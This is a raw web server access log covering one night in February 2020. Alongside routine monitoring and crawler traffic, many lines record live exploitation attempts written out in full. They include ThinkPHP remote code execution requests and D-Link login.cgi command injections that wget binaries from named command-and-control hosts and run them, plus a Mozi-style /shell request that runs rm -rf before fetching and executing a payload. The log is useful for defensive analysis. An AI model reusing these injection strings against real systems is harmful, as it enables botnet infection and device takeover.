212.91.246.72 - - [13/Feb/2020:23:21:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:22:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:23:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.203.193.47 - - [13/Feb/2020:23:24:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
194.247.23.98 - - [13/Feb/2020:23:24:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:23:24:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:25:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:26:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.134.186.160 - - [13/Feb/2020:23:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [13/Feb/2020:23:27:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:28:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:29:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:30:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.92.158 - - [13/Feb/2020:23:30:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:23:31:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:32:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [13/Feb/2020:23:33:22 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [13/Feb/2020:23:33:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [13/Feb/2020:23:33:36 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
83.97.20.34 - - [13/Feb/2020:23:33:50 +0100] "HEAD / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [13/Feb/2020:23:34:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [13/Feb/2020:23:34:32 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
83.97.20.34 - - [13/Feb/2020:23:34:46 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
212.91.246.72 - - [13/Feb/2020:23:35:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:36:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:37:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.137.182.73 - - [13/Feb/2020:23:38:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:23:38:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:39:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:40:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:41:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:42:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.216.149.140 - - [13/Feb/2020:23:43:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2)"
212.91.246.72 - - [13/Feb/2020:23:43:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
132.255.200.198 - - [13/Feb/2020:23:43:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:23:44:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.62.46.243 - - [13/Feb/2020:23:44:46 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1" 400 329 "-" "Mozilla/5.0"
27.216.245.215 - - [13/Feb/2020:23:45:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [13/Feb/2020:23:45:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:46:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:47:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:48:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.42.195.86 - - [13/Feb/2020:23:48:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:23:49:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.211.129.49 - - [13/Feb/2020:23:49:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:23:50:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:51:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:52:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:53:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:54:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:55:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:56:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:57:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.210.64.221 - - [13/Feb/2020:23:58:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:23:58:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:59:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
98.128.217.99 - - [14/Feb/2020:00:03:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.138.75.107 - - [14/Feb/2020:00:05:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [14/Feb/2020:00:05:05 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [14/Feb/2020:00:05:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [14/Feb/2020:00:05:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
85.98.5.166 - - [14/Feb/2020:00:07:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
190.48.77.254 - - [14/Feb/2020:00:10:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
91.83.227.123 - - [14/Feb/2020:00:17:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
124.43.8.138 - - [14/Feb/2020:00:17:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.203.2.226 - - [14/Feb/2020:00:17:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
208.114.149.10 - - [14/Feb/2020:00:24:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
195.49.187.144 - - [14/Feb/2020:00:24:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.105.73.95 - - [14/Feb/2020:00:26:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
217.35.70.124 - - [14/Feb/2020:00:29:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
113.85.76.136 - - [14/Feb/2020:00:31:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.251.7.103 - - [14/Feb/2020:00:34:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.101.255 - - [14/Feb/2020:00:39:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [14/Feb/2020:00:42:18 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [14/Feb/2020:00:42:29 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
103.212.88.125 - - [14/Feb/2020:00:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
5.101.0.209 - - [14/Feb/2020:00:43:34 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [14/Feb/2020:00:44:03 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [14/Feb/2020:00:45:56 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
70.169.55.117 - - [14/Feb/2020:00:53:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
203.153.114.132 - - [14/Feb/2020:00:56:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
83.97.20.33 - - [14/Feb/2020:01:02:37 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
83.97.20.33 - - [14/Feb/2020:01:02:51 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
147.158.165.113 - - [14/Feb/2020:01:02:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
83.97.20.33 - - [14/Feb/2020:01:03:05 +0100] "HEAD / HTTP/1.0" 200 - "-" "-"
83.97.20.33 - - [14/Feb/2020:01:03:46 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
83.97.20.33 - - [14/Feb/2020:01:04:01 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
201.16.164.54 - - [14/Feb/2020:01:06:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
195.98.77.50 - - [14/Feb/2020:01:11:53 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
1.53.86.127 - - [14/Feb/2020:01:16:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
93.170.112.67 - - [14/Feb/2020:01:17:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
183.80.167.85 - - [14/Feb/2020:01:20:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.11.66.190 - - [14/Feb/2020:01:24:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.117.33.214 - - [14/Feb/2020:01:24:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
98.155.3.83 - - [14/Feb/2020:01:25:01 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.119.214.108 - - [14/Feb/2020:01:25:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.237.124.142 - - [14/Feb/2020:01:25:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
177.21.96.154 - - [14/Feb/2020:01:27:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
42.224.54.198 - - [14/Feb/2020:01:30:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
197.202.6.5 - - [14/Feb/2020:01:35:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
197.232.245.22 - - [14/Feb/2020:01:35:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
139.199.162.74 - - [14/Feb/2020:01:42:26 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.199.162.74 - - [14/Feb/2020:01:42:26 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.199.162.74 - - [14/Feb/2020:01:42:26 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.199.162.74 - - [14/Feb/2020:01:42:27 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.199.162.74 - - [14/Feb/2020:01:42:27 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.199.162.74 - - [14/Feb/2020:01:42:28 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.199.162.74 - - [14/Feb/2020:01:42:30 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.199.162.74 - - [14/Feb/2020:01:42:35 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
178.216.26.27 - - [14/Feb/2020:01:43:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
177.17.138.17 - - [14/Feb/2020:01:44:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
113.189.89.111 - - [14/Feb/2020:01:47:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
88.233.6.251 - - [14/Feb/2020:01:47:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
81.10.10.164 - - [14/Feb/2020:01:52:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.90.142.49 - - [14/Feb/2020:01:59:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
176.96.250.224 - - [14/Feb/2020:02:05:32 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://176.96.250.224:43835/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
63.142.212.105 - - [14/Feb/2020:02:07:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
115.20.222.185 - - [14/Feb/2020:02:08:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [14/Feb/2020:02:08:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [14/Feb/2020:02:08:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [14/Feb/2020:02:08:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [14/Feb/2020:02:08:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
167.71.182.143 - - [14/Feb/2020:02:09:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.223.97.221 - - [14/Feb/2020:02:23:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
177.185.156.83 - - [14/Feb/2020:02:25:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
209.45.54.52 - - [14/Feb/2020:02:37:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
190.175.9.21 - - [14/Feb/2020:02:38:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
201.176.150.82 - - [14/Feb/2020:02:40:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
